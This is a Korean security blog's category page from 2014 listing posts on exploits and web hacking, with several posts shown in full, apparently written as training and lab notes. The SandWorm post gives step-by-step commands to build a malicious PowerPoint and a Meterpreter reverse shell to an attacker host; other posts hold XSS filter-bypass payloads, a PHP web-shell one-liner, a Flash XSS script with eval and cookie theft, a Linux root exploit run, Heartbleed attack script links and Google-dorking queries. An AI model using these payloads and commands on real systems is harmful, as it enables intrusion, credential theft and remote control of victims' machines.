'30.'에 해당되는 글 40건

  1. 2014.10.28 SandWorm exploit MS파워포인트(PPT)
  2. 2014.10.13 [XSS] PHP htmlspecialchars 우회
  3. 2014.10.10 Obfuscated code
  4. 2014.08.24 [Local Exploit] Local Privilege Escalation
  5. 2014.07.01 [정보수집] Google Hacking (1)
  6. 2014.06.27 [XSS] Xenotix XSS Exploit Framework
  7. 2014.06.21 [Exploit] Stack Overflow / Heap Overflow / Heap Spray
  8. 2014.06.21 Miss-Configuration
  9. 2014.06.21 Inclusion Attacks
  10. 2014.06.05 [악성코드 분석] 키로거 분석 Keylogger
  11. 2014.05.31 동적 분석 기초
  12. 2014.05.31 기본 정적 분석
  13. 2014.04.29 Actionscript XSS using flash
  14. 2014.04.19 URL 한글 인코딩, 디코딩
  15. 2014.04.19 OpenSSL HeartBleed 취약점
  16. 2014.04.17 The Hacker Firefox
  17. 2014.04.16 22. 세션고정(SF) 취약점
  18. 2014.03.20 Flash SWF을 이용한 XSS
  19. 2014.02.26 eXeScope
  20. 2014.02.26 ExeInfo PE
  21. 2014.02.18 PEiD v0.95 패킹 확인
  22. 2014.02.05 [DVWA] Damn Vulnerable Web Application 설치 (1)
  23. 2014.02.04 [exploit-exercises] Nebula level 08
  24. 2014.02.03 [exploit-exercises] Nebula level 06
  25. 2014.01.26 [exploit-exercises] Nebula level 05
  26. 2014.01.26 [exploit-exercises] Nebula level 04 [미완성]
  27. 2014.01.26 [exploit-exercises] Nebula level 03 [미완성]
  28. 2014.01.26 [exploit-exercises] Nebula level 02 [미완성]
  29. 2014.01.26 [exploit-exercises] Nebula level 01
  30. 2014.01.26 [exploit-exercises] Nebula level 00

SandWorm MS파워포인트(PPT) exploit


Microsoft PowerPoint Vulnerable to Zero-Day Attack


발생 원인


발생 원인은 윈도우 Object Linking과 Embedding(OLE) 속성의 부분인 PACKAGER.DLL에 취약점이 존재한다. 조작된 PowerPoint 문서를 이용하여 OLE object 내에 작성되어있는 원격 SMB 공유 서버 접속 주소로 접근 후 .INF을 로컬로 복사하여 실행이 가능하다. 이와 같은 방법으로 다른 악성 코드까지 다운로드하여 실행이 가능하다. 


공격 방법


+ CVE-2014-4114 [SandWorm]

SandWorm 취약점은 Microsoft PowerPoint 모든 버전에서 발생한다.

실행 환경 : Kali linux, Windows 7 x64 Microsoft Office Standard 2013


 사용한 exploit Code : http://www.exploit-db.com/exploits/35019/ 

 Full 버전 다운로드 : http://www.exploit-db.com/sploits/35019.tar.gz


Kali linux 는 Samba 서비스가 실행되어야 하며, 악성코드를 실행할 Window s 에서 접근이 가능해야 한다.

~ /share/35019 $ 35019.tar.gz 압축을 해제하면 아래와 같은 3개의 파일을 확인 가능하다.


~ /share/35019 $ python cve-2014-4114py 192.168.10.114 share xxx.exe

- 192.168.10.114 : 공격자 ip (samba 서비스 실행)

- share : samba 공유 폴더

- xxx.exe : dropper로 이용할 실행 파일


명령어 실행 후 생성된 ./out 폴더에서 exploit.ppsxxxx.inf을 확인 가능하다.

두 파일을 Kali 공유 폴더로 이동 시킨다.

~ /share/35019 $ cp ./* ../../../share/


metasploit을 이용하여 TCP_reverse (TCP 연결) 할 실행파일을 생성한다.

~ /share/35019 $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.43 LPORT=8888 exitfunc=thread X > ../../../share.xxx.gif


공유 폴더를 확인하면 exploit.ppsx, xxx,gif xxx,inf와 같이 3개의 파일을 확인 가능하다.


~ /share/35019 $ msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.43 LHOST=8888 E

TCP_reverse 실행 할 파일이 연결 가능한 Payload를 열어둔다.


공격당할 대상은 Windows 7 x64입니다. kali에서 Samba서비스를 통해 공유한 폴더에 접근한다. 실행창에서 \\192.168.10.114 명령어를 실행하면 공유폴더 접근 가능하다.


exploit.ppsx를 Windows Desktop에 복사한다.


실행!! 아래와 같은 러시아(?) 문자로 된 PPT를 확인 가능 합니다. PPT를 다음장으로 넘기기 위해 클릭하세요. 그럼 공유폴더에 있던 xxx.gif가 실행됩니다.


msfcli payload 연결을 위해 포트를 열고있던 Kali Linux에서 192.168.10.109:49210(Windows)에서 접속한 것을 확인 가능하다.


명령어가 생각이.. 만만한 screenshot!! 찰칵!


이미지가 저장된 경로를 확인하면 아래와 같이 ~~~~.jpeg파일을 생성을 확인한다.


잘 찍혔습니다. 짠~


끝.


분석


악성 파일 트리거로 사용한 PPSX 샘플을 분석하면 다음과 같은 콘텐츠를 확인 가능하다. 확장자를 PPSX에서 ZIP으로 변경하면 압축을 해제하여 안에 내용물을 확인 가능하다.


exploit.zip > ppt > embeddings > oleObject1.bin, oleObject2.bin


exploit.zip > ppt > sildes > xlide1.eml


exploit.zip > ppt > sildes > _rels > slide1.xml.rels


oleObject1.bin과 oleObject2.bin 컨텐츠를 따라가면 원격에 있는 공유 폴더 명과 악성파일에 접근 접근 가능한  IP 주소 확인이 가능하다.



slide1.xml 파일을 보면 "rld4"와 "rld5"라는 2개의 Packager Shell Object 볼 수 있다. 


slide1.xml.rels 파일을 보면 이전에 "rld4"와 "rld5"가 ../embeddings/oleObject1.bin, ../embeddings/oleObject2.bin으로 정의 된 것을 확인 가능하다.


slide1.xml 파일을 보면 슬라이드1을 열때 "xxx.gif"와 "xxx.inf"라는 파일이 packager.dll에 의해 로컬에 복사된다. 또한 특정 엑션을 확인하면 "-3"과 다른 값을 "3"으로 설명되어 있는 것을 확인 가능하다. 이 두개의 엑션은 OLE object를 호출하게 되며, 이 루틴은 packager!CPackage::Doverb()함수에서 확인 가능하다.


함께 생성된 xxx.inf 파일을 확인하면 하단에 xxx.gif파일을 xxx.gif.exe 파일로 인식하도록 변경하고, 레지스트리 시작에 경로를 입력하여 xxx.gif.exe가 실행되도록 설정되어 있다.

※ 참고 자료

http://www.exploit-db.com/exploits/35019/

http://thehackernews.com/2014/10/microsoft-powerpoint-vulnerable-to-zero.html

http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/

http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/



SandWorm.7z



저작자 표시 비영리 변경 금지
신고

[XSS] PHP htmlspecialchars 우회


PHP htmlspecialchars 함수 우회 가능성을 확인


Damn Vulnerable Web App(DVWA)에서 Stored XSS를 풀고 있는데 low와 medium의 경우 쉽게 풀리지만 high의 경우 htmlspecialchars()함수를 사용하기 때문에 쉽게 문제 풀이를 진행하지 못하고있다.


Damn Vulnerable Web App(DVWA) : Stored XSS



# Stored XSS Low 


<script>alert(1)</script>





# Stored XSS medium

message의 경우 htmlspecialchars() 함수를 사용하여 스크립트 문자열이 치환되어 사용되지 않는다. name의 경우 htmlspecialchars()함수를 사용하지 않고 <script>만 공백으로 치환하므로 공격을 시도한다.


name의 경우 maxlength가 10이므로 해당 제한을 개발자 도구로 제거하거나 중간프록시 툴을 이용하여 우회하여 스크립트를 삽입한다. 


<scr<script>ipt>alert(2)</script>




# Stored XSS high


포기...



htmlspecialchars() 함수


PHP의 htmlspecialchars() 함수는 웹 페이지에서 html로 인식되는 태그 문자열을 변환해주는 함수이다. 예를 들어 "<"(less than) 와 ">"(greater than)와 같은 미리 정의된 문자열을 HTML entities로 변경해준다.


htmlspecialchars.php 소스

<?php

$str = "This is some <b>bold</b> text.";

echo htmlspecialchars($str);

?> 


View Source(페이지 소스 확인)

<!DOCTYPE html>

<html>

<body>

This is some &lt;b&gt;bold&lt;/b&gt; text.

</body>

</html>


웹 브라우저에서 확인


 This is some <b>bold</b> text.


정의 및 사용


htmlspecialchars() 함수는 미리 정의된 문자들을 HTML entities로 변경해준다.


미리 정의된 문자 :

  • & (ampersand) becomes &amp;
  • " (double quote) becomes &quot;
  • ' (single quote) becomes &#039;
  • < (less than) becomes &lt;
  • > (greater than) becomes &gt;


문법 :


 htmlspecialchars(string,flags,character-set,double_encode)


 참조 : w3schools : http://www.w3schools.com/php/func_string_htmlspecialchars.asp





htmlspecialchars() 함수 XSS 우회




# Str_replace 우회

<?php

echo "<html><br>";

echo 'Your name is ' . str_replace('script', null, $_GET["name"]);

 /*

xss1.php?name=admin

Output: "Your name is admin"

*/

echo "<br></html>";

?>

많은 보안 가이드를 보면 <script>와 같은 XSS발생 가능한 모든 html 테그를 replace하라고 한다. 하지만 이 방법은 다른 보안 취약점을 발생할 가성이 높으며, 여전히 보안 홀이 크다.


xss1.php 소스코드


xxs1.php?name=oneandonlyme


xxs1.php?name=<script>alert("XSS");</script>

script 필터링을 확인 가능하다.


xss1.php?name=<ScRiPt>alert(String.fromCharCode(88,83,83))</ScRiPt>




#htmlentities 우회

<?php

echo "<img alt='Profile' src='".htmlentities($_GET["img"])."' />";

/*

page.php?img=photo-1.jpg

Output: <img alt='Profile' src='photo-1.jpg' />

*/

?>

htmlentities 함수도 html 테그를 자동으로 변환하여 준다.


xss2.php 소스코드


원래 소스코드는 경로를 받아와서 호출하는 웹 페이지입니다.


xss2.php?img=.%BF%27 STYLE=xss:expression(alert(1));

STYLE 테그를 이용하는 XSS가 발생 가능하다.



#  htmlspecialchars 우회

<?php

echo "<html><br>";

echo '<object data="'.htmlspecialchars($_GET['img']).'"></object>';

/*

xss3.php?img=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=

Output: <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4="></object>

*/

echo "<br></html>";

?>


xss3.php 소스코드



xss3.php?img=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=

htmlspecialchars()  함수를 사용하여도 인코딩된 입력값은 변환이 불가능하다. 그러므로 XSS가 발생함을 확인 가능하다.


XSS 취약점에 대해서 PHP 소스 보안대책으로 htmlspecialchars() 사용을 권장하지만 잘못된 코딩방식으로 안전한 함수를 취약하게 사용 할 수 있다. 


 출처 :  WIREMASK : http://wiremask.eu/how-to-bypass-xss-filters/



xss1.php


xss2.php


xss3.php


저작자 표시 비영리 변경 금지
신고

'30. > 31. Web' 카테고리의 다른 글

[XSS] PHP htmlspecialchars 우회  (0) 2014.10.13
Obfuscated code  (0) 2014.10.10
[정보수집] Google Hacking  (1) 2014.07.01
[XSS] Xenotix XSS Exploit Framework  (0) 2014.06.27
Miss-Configuration  (0) 2014.06.21
Inclusion Attacks  (0) 2014.06.21

Obfuscated code

30./31. Web 2014.10.10 11:53
Input the JJEncode here:
Decoded JJEncode String:

0 character(s)



http://htmlobfuscator.com/

http://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html

저작자 표시 비영리 변경 금지
신고

'30. > 31. Web' 카테고리의 다른 글

[XSS] PHP htmlspecialchars 우회  (0) 2014.10.13
Obfuscated code  (0) 2014.10.10
[정보수집] Google Hacking  (1) 2014.07.01
[XSS] Xenotix XSS Exploit Framework  (0) 2014.06.27
Miss-Configuration  (0) 2014.06.21
Inclusion Attacks  (0) 2014.06.21

[Local Exploit] Local Privilege Escalation 


CVE-2010-4258

쓰레드가 CLONE_CHILD_CLEARIED 플레그를 이용하여 Clone(2)를 통해 생성 된경우, NULL 단어는 사용자가 지정한 포인터에 쓰레드 종료를 기록한다. 해당 기록은 put_user()를 사용하여 종료되며, access_ok() 함수를 통해 호출하여 유효한 사용자 공간에 있는 제공 대상자에 확인된다. 하지만, Nelson은 커널이 주소 제한 오버라이트 set_fs(KERNEL_DS)와 OOPSes(via BUG, page fault, etc.), 해당 종료 경로가 put_user() 호출로 복귀되기 전에 사용자를 허용하는 임의의 커널 주소 NULL로 재 작성한다.

This is the interesting one, and the reason I wrote this exploit.  If a thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL word will be written to a user-specified pointer when that thread exits. This write is done using put_user(), which ensures the provided destination resides in valid userspace by invoking access_ok().

However, Nelson discovered that when the kernel performs an address limit override via set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, etc.), this override is not reverted before calling put_user() in the exit path, allowing a user to write a NULL word to an arbitrary kernel address. Note that this issue requires an additional vulnerability to trigger.



exploit란?

취약점 공격 또는 익스플로잇(exploit)이란 컴퓨터의 소프트웨어나 하드웨어 및 컴퓨터 관련 전자 제품의 버그, 보안 취약점 등 설계상 결함을 이용해 공격자의 의도된 동작을 수행하도록 만들어진 절차나 일련의 명령, 스크립트, 프로그램 또는 특정한 데이터 조각을 말하며, 이러한 것들을 사용한 공격 행위를 이르기도 한다. 

- 위키백과



excution


사용한 OS : Ubuntu 10.04

Kernel 버전 : 2.6.32-21

취약점 버전 : CVE-2010-4258


Ubuntu 실행한다.




~ $ uname -a

Linux ubuntu 2.6.32-21-generic

공격할 exploit의 경우 Linux Kernel 2.6.37 이하 버전에서 발생한다.



~ $ id

현재 로그인한 사용자 계정 권한 확인한다. 일반사용자로 생성한 계정이며 uid 1000을 사용한다.


www.exploit-db.com에서 exploit source 다운로드한다.

http://www.exploit-db.com/exploits/15704/



Source






ubuntu 해당 소스코드를 다운받고 gcc를 이용하여 컴파일 한다.

~ $ gcc -o CVE2010-4258 CVE2010-4258.c




~ $ ./CVE2010-4258

exploit 실행하여 root 권한 획득을 확인한다.


uid 0 획득



저작자 표시
신고

Google Hacking 

 

Target website / domain: (e.g. att.com)

Search for directory listing vulnerabilities:

Google Search

Search for configuration files:

Google Search

Search for database files:

Google Search

Search for log files:

Google Search

Search for backup and old files:

Google Search

Search for login pages:

Google Search

Search for SQL errors:

Google Search

Search for publicly exposed documents

Google Search

Search for phpinfo():

Google Search

 

※ 출처 https://pentest-tools.com

저작자 표시
신고

'30. > 31. Web' 카테고리의 다른 글

[XSS] PHP htmlspecialchars 우회  (0) 2014.10.13
Obfuscated code  (0) 2014.10.10
[정보수집] Google Hacking  (1) 2014.07.01
[XSS] Xenotix XSS Exploit Framework  (0) 2014.06.27
Miss-Configuration  (0) 2014.06.21
Inclusion Attacks  (0) 2014.06.21

Xenotix XSS Exploit Framework



Introduction


Cross Site Scripting (이하, XSS) 취약점은 1990년대 부터 알려진 공격이다. XSS는 OWASP 2010 웹 취약점 항목에서도 2번째 있었고, OWASP 2013 웹 취약점 항목에는 3번째 위치하고 있다.

[출처 : www.owasp.org]

Cross-site scripting(XSS)은 공격자가 웹 어플리케이션에 Client-Side Script가 삽입 가능한 보안 취약점을 이용하여 다른 사용자가 해당 페이지를 브라우저에서 봤을 때 발생한다. injection 코드는 Client 측에서 실행된다. 공격자는 Cross-site scripting 취약점을 이용하여 Same Origin Policy (SOP)을 우회 할 수있다. 예전에는 XSS 취약점의 발생가능성에 대해 잘 알지 못했다. XSS를 이용하여 쿠키를 훔치거나 영구적으로 영향을 끼치는 공격이 많이 알려져 있기때문에 위험이 높은 공격으로 고려하지 않았다. 하지만 최근에 XSS의 영향력은 터널링이 페이로드 제공으로 강력해졌다. 대부분의 거대한 웹 사이트는 XSS 버그를 가지고있다.

XSS를 통한 위협


- XSS Tunneling : 해커는 XSS 터널을 이용하여 타겟과 웹 사이트의 트렉픽을 얻을 수 있다.

- Client side code injection : 해커는 Clinet에서 악성 코드를 삽입 및 실행 가능하다.

- DOS : 해커는 원격 서버나, Client 모두 DOS 공격 가능하다.

- Cookie Stealing : 해커는 다른 사용자의 웹 사이트 세션 쿠키나 토큰 획득이 가능하다.

- Malware Spreading: 해커는 웹 사이트의 XSS 취약점을 이용하여 악성코드 배포 가능하다.

- Phishing : 해커는 타겟의 로그인 증명(id, password)와 같은 정보를 얻기위해 가짜 사이트로 리다이렉트나 해당 사이트에 포함 시킬 수 있다.

- Defacing : 웹 어플리케이션을 일시적이나 영구적으로 훼손 할 수 있다.


Need for a new Tool


많은 툴들이 웹 어플리케이션의 XSS 취약점 탐지가 가능하다. 하지만 대부분 쉽게 사용 불가능하거나, 수동으로 페이로드를 설정해야한다.


What is Xenotix XSS Exploit Framework?


Xenotix XSS Exploit Framework은 웹 어플리케이션의 XSS 취약점을 탐지하거나 공격하기 위한 모의해킹 테스트 툴이다. 이 툴은 XSS 취약점으로 웹 사이트에 코드 인젝션이 가능하다. XSS 스캐너는 페이로드 목록을 기반으로 하고있다. 해당 침투테스트를 이용하여 쉽게 웹 어플리케이션의 XSS 페이로드 목록에서 침투 가능한 기능을 제공한다. 툴은 기본 테스트에서 시간공유를 하여 수동/자동 공격 모두 가능하다. 실행프로그램 Drive-by 다운로드, 키로거, XSS 인코더와 같은 기능도 포함하고 있다.


Feature of Xenotix XSS Exploit Framewoork


- Built in XSS 페이로드

- XSS 키로거

- XSS 실행 가능한 Drive-by 다운로더

- 자동 XSS 테스터

- XSS 인코더


Xenotix 실행하면 Internet Explorer, Chrome, Firefox 3가지 화면은 한 view에 볼 수 있다.


 ※ 참조

 OWASP Xenotix XSS Exploit Framework

 https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework


저작자 표시
신고

'30. > 31. Web' 카테고리의 다른 글

Obfuscated code  (0) 2014.10.10
[정보수집] Google Hacking  (1) 2014.07.01
[XSS] Xenotix XSS Exploit Framework  (0) 2014.06.27
Miss-Configuration  (0) 2014.06.21
Inclusion Attacks  (0) 2014.06.21
Actionscript XSS using flash  (0) 2014.04.29

Stack Overflow / Heap Overflow / Heap Spray



 주의 : 본 글은 K-Shield 1차과정(Raon)에서 시스템 취약점 과정입니다.


Stack Overflow(스택 오버 플로우)


"stack_bof.exe"의 소스 분석한다면 첫번째 인수(argument)을 main에서 입력 받아 sum이라는 함수의 변수(parameter)로 전달한다. 

sum 함수(function)에서 첫번째로 받는 파라미터 값(char 4)이 한계를 초과하여 스택에 저장된 return 주소위치까지 정보가 overwrite으로 저장된다. 


OllyDbg로 분석한다면 EIP가 입력한 정보로 변경되었으며 33343233은 hex 값을 dec값으로 변경한다면 3423이며 리틀인디언(little India)방식이므로 3243에서 스택 오버플로우가 발생된 것을 확인 가능하다.




※ 윈도우 오류 발생시 Ollydbg를 바로 작동 하는 방법

[Options] - [Just-in-time debugging] - [MakeOllydug Just-in-time dubugging] 선택





Security Cookie(Stack Canary)


Stack Overflow는 Security cookie를 사용하면 스택에 저장되는 return 주소[EIP]가 overflow시 해당 정보를 00000000으로 변경하여 준다. 



※ Security Cookie 사용과 미사용 비교



※ Ollydbg 사용 시 스택 View가 움직여 분석이 어렵다면 해당 View를 마우스 오른쪽 클릭하여 Unlock stack을 선택하면 View window를 고정가능하다.


Security_check_cookie로 점프하는 함수 확인한다.



Security Cookie에서 저장return 주소 정보와 비교하는 CMP확인한다.





SEH overwrite(Exception Overflow)


Security Cookie를 우회하기 위하여 exception overflow 취약점을 이용한다.


try {

[ 실행 ];

} catch {

[ 예외처리 ];

}


예외처리를 하지 못하지 못하고 발생하는 에러 위치를 취약점으로 이용한다.


예외를 처리하지 못하고 EIP가 변경된 것을 확인가능하다.



SafeSEH/SEHop


 exception overflow 취약점을 보안하여 예외 처리할 주소들도 프로그램 안에 저장한다.






















이미지.zip


저작자 표시
신고

Miss-Configuration

30./31. Web 2014.06.21 13:31

Miss-Configuration



 주의 : 본 글은 K-Shield 1차과정(Raon)에서 웹 해킹 과정입니다.






인터넷 구글에서 확인 가능한 아파치 웹 서버 인증 방법

<Limit GET, POST> 웹 서버 인증을 GET과 POST만 제한하도록 설정을 확인가능합니다.




인터넷에 있는 방법으로 설정하고 해당 웹 서버를 접속하면 Windows 보안 인증을 한다.





putty를 이용해서 GET으로 접속한다면 제한된다는 응답값을 받을 수 있다.




GET, POST를 제외한 해더값을 이용하여 접근 가능하다.





저작자 표시
신고

'30. > 31. Web' 카테고리의 다른 글

[정보수집] Google Hacking  (1) 2014.07.01
[XSS] Xenotix XSS Exploit Framework  (0) 2014.06.27
Miss-Configuration  (0) 2014.06.21
Inclusion Attacks  (0) 2014.06.21
Actionscript XSS using flash  (0) 2014.04.29
URL 한글 인코딩, 디코딩  (0) 2014.04.19

Inclusion Attacks

30./31. Web 2014.06.21 13:22

Inclusion Attacks




 주의 : 본 글은 K-Shield 1차과정(Raon)에서 웹 해킹 과정입니다.



RFI(Remote File Inclusion)







LFI(Local File Inclusion)






log file





































<?=system($_GET[cmd])?>





저작자 표시
신고

'30. > 31. Web' 카테고리의 다른 글

[XSS] Xenotix XSS Exploit Framework  (0) 2014.06.27
Miss-Configuration  (0) 2014.06.21
Inclusion Attacks  (0) 2014.06.21
Actionscript XSS using flash  (0) 2014.04.29
URL 한글 인코딩, 디코딩  (0) 2014.04.19
OpenSSL HeartBleed 취약점  (0) 2014.04.19



* 정적 분석



- 패킹 여부 확인





- 실행 파일 구조 분석




- 문자열 추출





- 실행 파일 내 Section 확인 (리소스 섹션이 암호화 되어있음)







- IDA를 이용하여 실행 구조 확인



- 특정 프로세스를 호출하는 모듈 확인




- 2번째 문락에 존재하는 call 명령어 확인





- 두번째 call sub_40132C를 확인하였을때 아래와 같은 프로세스가 실행이 되며 xor를 이용하여 특정 리소스를 복호화 하는 것을 확인





- 복호화된 파일 정보가 실행 파일로 생성되는 것을 확인




- 복호화된 실행파일이 메모리 api를 이용하여 적제








* 동적분석 시작


- Regshot을 이용하여 악성코드를 실행하기 전 Registor를 저장




- Process Explorer를 실행




- Process Monitor를 이용하여 실행파일 레지스트리, 프로세스 실행, 파일 쓰기와 같은 api 추적




- 악성 프로그램을 실행하여 Regshot에 저장된 정보 확인

악성 코드 실행시 특정 파일을 새로 생성하여 작성





- 해당 파일을 확인하면 텍스트 파일로 정보가 저장되어 있으며 키로깅 기능이 포함되는 것을 확인





- Process Monitor에서 실행한 악성파일이 사라진 것을 확인 후 특정 프로세스(svchost.exe) 가 종료되었다 실행됨을 확인





- svchost.exe 메모리에 적제된 프로세스의 string정보를 확인하면 키로깅에 많이 사용되는 api 및 키보드 정보를 확인 가능



- procsess Monitor를 이용하여 svchost.exe의 실행 정보를 추적하여 해당 악성코드가 키로깅한 정보 저장 위치를 확인




* 상세 분석


- 악성코드를 Ollydbg를 이용하여 실행






- 디버깅하며 정보 획득





- 디버깅하며 획득한 정보가 해당 악성프로그램에 있는 정보와 동일함을 확인





- IDA에서도 같은 정보를 확인하며 진행





- IDA에서 분석하여 특정 세션에 있는 정보를 복호화하는 함수 확인




- memcpy 기능 확인







- Ollydbg에서 해당 함수를 분석




- 복호화 작업





- 암호화되어있던 Secion Resource 위치를 메모리에서 확인




- 복호화 함수 확인




- 메모리에 적제된 복호화된 특정 파일을 확인



- 해당 특정 파일 추출



- 추출한 특정 파일을 IDA를 이용하여 분석. 해당 특정 파일이 키로깅을 확인




- 악성 프로그램에서 암호화된 Section Resource를 확인함 



- 악성 프로그램에서 암호화된 Section Resource를 추출



- 010 에디터를 이용하여 해당 resource 열람



- 암호화 키값은 xor함수 에서 확인 가능함 41h



- 분석 시 확인한 key값과 xor 연산



- MZ로 시작하는 실행 파일 획득



- Ollydbg에서 추출한 특정 실행 파일과 악성프로그램 Section에서 추출하여 복호화한 특정 실행 파일이 동일함을 확인




결론 해당 악성 프로그램은 실행하면, 악성프로그램의 4번째 Section에 암호화된 데이터가 xor연산 통하여 복호화하여 svchost.exe 실행파일에 후킹되어 실행되는 키로깅 프로그램

저작자 표시
신고

동적분석 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

저작자 표시
신고

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

저작자 표시
신고

Actionscript XSS using Flash


Flash의 Action Script를 이용한 XSS


XSS.zip


Source Code



/*

modify by. oneandonlyme.kain@gmail.com

2014/04/29

xss - flash security test script.

ref: fly_flash

*/


import flash.net.*;

import flash.events.SecurityErrorEvent;


var param:Object = root.loaderInfo.parameters;

var action:String = param["a"];

var cmd:String = param["c"];


function attack(action)

{

switch (action)

{

case "l" :// location URL

navigateToURL(new URLRequest(cmd),"_self");

break;

case "o" :// open URL

navigateToURL(new URLRequest(cmd),"_blank");

break;

case "g" :// GET

var loader:URLLoader = new URLLoader(new URLRequest(cmd));

loader.addEventListener(Event.COMPLETE,get_complete);

loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR,get_sec_error);

break;

case "e" :// execute JS

flash.external.ExternalInterface.call("eval", cmd);

break;

case "a" :// execute JS

cmd = 'alert(document.cookie)';

flash.external.ExternalInterface.call("eval", cmd);

break;

case "x" :// execute JS

cmd = 'alert("XSS TEST")';

flash.external.ExternalInterface.call("eval", cmd);

break;

default :

var help:String = 'a(action) - c(cmd)\n';

help +=  '-----------------\n';

help +=  '1. location to url: xss.swf?a=l&c=http://www.google.com/\n';

help +=  '2. open url to new window: xss.swf?a=o&c=http://www.google.com/\n';

help +=  '3. http request to url: xss.swf?a=g&c=http://www.google.com/\n';

help +=  '4. eval js codz: xss.swf?a=e&c=alert(document.domain)\n';

help +=  '5. js code alert(document.cookie): xss.swf?a=a\n';

help +=  '6. XSS TEST: xss.swf?a=x\n';

help +=  '-----------------\n';

help +=  'by oneandonlyme.kain@gmail.com';

flash.external.ExternalInterface.call("alert", help);

break;

}

stop();

}


function get_complete(event:Event)

{

flash.external.ExternalInterface.call("alert", 'corss domain request ok.');

// __flash__toXML(alert("")) may be error.;

//var d:String = String(event.target.data);

//flash.external.ExternalInterface.call("alert", d);

}

function get_sec_error(event:SecurityErrorEvent)

{

flash.external.ExternalInterface.call("alert", '[security error:]\n/crossdomain.xml\ncross domain request is not allowed.');

}


attack(action);








저작자 표시
신고

'30. > 31. Web' 카테고리의 다른 글

Miss-Configuration  (0) 2014.06.21
Inclusion Attacks  (0) 2014.06.21
Actionscript XSS using flash  (0) 2014.04.29
URL 한글 인코딩, 디코딩  (0) 2014.04.19
OpenSSL HeartBleed 취약점  (0) 2014.04.19
The Hacker Firefox  (0) 2014.04.17

URL 한글 인코딩, 디코딩



Encoding

>


Decoding


>



저작자 표시
신고

'30. > 31. Web' 카테고리의 다른 글

Inclusion Attacks  (0) 2014.06.21
Actionscript XSS using flash  (0) 2014.04.29
URL 한글 인코딩, 디코딩  (0) 2014.04.19
OpenSSL HeartBleed 취약점  (0) 2014.04.19
The Hacker Firefox  (0) 2014.04.17
22. 세션고정(SF) 취약점  (0) 2014.04.16

OpenSSL HeartBleed 취약점


네트워크를 통한 데이터 통신에 쓰이는 프로토콜인 TLS와 SSL의 오픈 소스 구현판인 OpenSSL의 라이브러리인 HeartBeat에서 서버에 저장된 중요 메모리 데이터가 노출되는 취약점 발견되었습니다.

* 본 보안 취약점(CVE-2014-0160)은 하트블리드(HeartBleed)로 알려져 있음


※ 참조 : http://heartbleed.com/


  • 발생 원인

OpenSSL 암호화 라이브러리의 하트비트(Heartbeat)라는 확장 모듈에서 클라이언트 요청 메시지를 처리할 때 데이터 길이 검증을 수행하지 않아 시스템 메모리(서버)에 저장된 64KB 크기의 데이터를 외부에서 아무런 제한 없이 탈취할 수 있는 취약점입니다.

· HeartBeat : 통신 시 연결의 유지, 서버의 상태 체크 등을 목적으로 이용

· 노출 가능한 정보 : SSL 서버 비밀키, 세션키, 쿠키 및 개인정보 등 

    (원격 메모리 덤프, 위치는 지정 불 가능함)


  • 공격방법
    1. (전송) 공격자는 하트비트 패킷 헤더에서 페이로드 길이 필드를 조작하여 서버에 전송
    2. (응답) 서버는 공격자가 요청한 길이(최대 64KB)만큼 메모리에서 데이터를 추출하여 공격에게 응답


  • 취약 버전 및 관련 정보
     · Version : OpenSSL 1.0.1 ~ 1.0.1.F (2014.04.08. openssl-10.1g에서 패치됨)
     · 파일 및 함수명: "d1_both.c" dtls1_process_heartbeat 함수, "t1_lib.c" tls1_process_heartbeat 함수 내 코드 패치


  • 보안 취약점
    ·  데이터 길이를 확인하지 않고 안전하지 않은 메모리 복사 함수 이용
    ·  HeartBeat(RFC 6520) 기능 구현 시 악용 가능한 취약점 존재

 구분

소스코드 

 비고

 openssl-1.0.1e

dtls1_process_heartbeat(SSL * s){

....

  n2s(p, payload);

  pl = p;

....

 입력 데이터 크기를 확인하지 않음

 openssl-1.0.1g

 dtls 1_process_heartbeat(SSL *s){

...

  n2s(p, payload);

  if ( 1 + 2 + payload + 16 > s->s3->rrec.length)

    return 0; /* silently discard per RFC 6520 sec. 4 */

  pl = p;

...

 입력 데이터 크기를 확인하고 예외 사항 처리




Heartbleed test.zip


  • 취약점 여부 확인

· http://filippo.io/Heartbleed/

  • 공격 스크립트

· 파이썬(기본형) : http://www.exploit-db.com/exploits/32745/

· 파이썬(발전형) : https://github.com/sensepost/heartbleed-poc/blob/master/heartbleed-poc.py

· 파이썬(발전형) : https://raw.githubusercontent.com/musalbas/heartbleed-masstest/master/ssltest.py

· NMAP sslheartbleed 기능 : http://nmap.org/nsedoc/scripts/ssl-heartbleed.html

· C언어 : http://www.exploit-db.com/exploits/32791/ 




※ 참조

KISA 인터넷침해대응센터 : http://krcert.or.kr/

http://legend.anycert.co.kr/support/openssl_install.html







저작자 표시
신고

'30. > 31. Web' 카테고리의 다른 글

Actionscript XSS using flash  (0) 2014.04.29
URL 한글 인코딩, 디코딩  (0) 2014.04.19
OpenSSL HeartBleed 취약점  (0) 2014.04.19
The Hacker Firefox  (0) 2014.04.17
22. 세션고정(SF) 취약점  (0) 2014.04.16
Flash SWF을 이용한 XSS  (0) 2014.03.20

The Hacker Firefox

30./31. Web 2014.04.17 00:27

The Hacker Firefox


21개의 Addon이 설치되어 있는 포터블  Firefox


 Tool name

 The Hacker Firefox

 Author

 YGN Ethical Hacker Group

 Website

 http://sourceforge.net/projects/hackfox/

 License type

 Free

 Download







설치되어있는 Addon 목록


1. Firebug

https://addons.mozilla.org/ko/firefox/addon/firebug/

2. Googlebar Lite

https://addons.mozilla.org/ko/firefox/addon/googlebar-lite/

3. HackBar

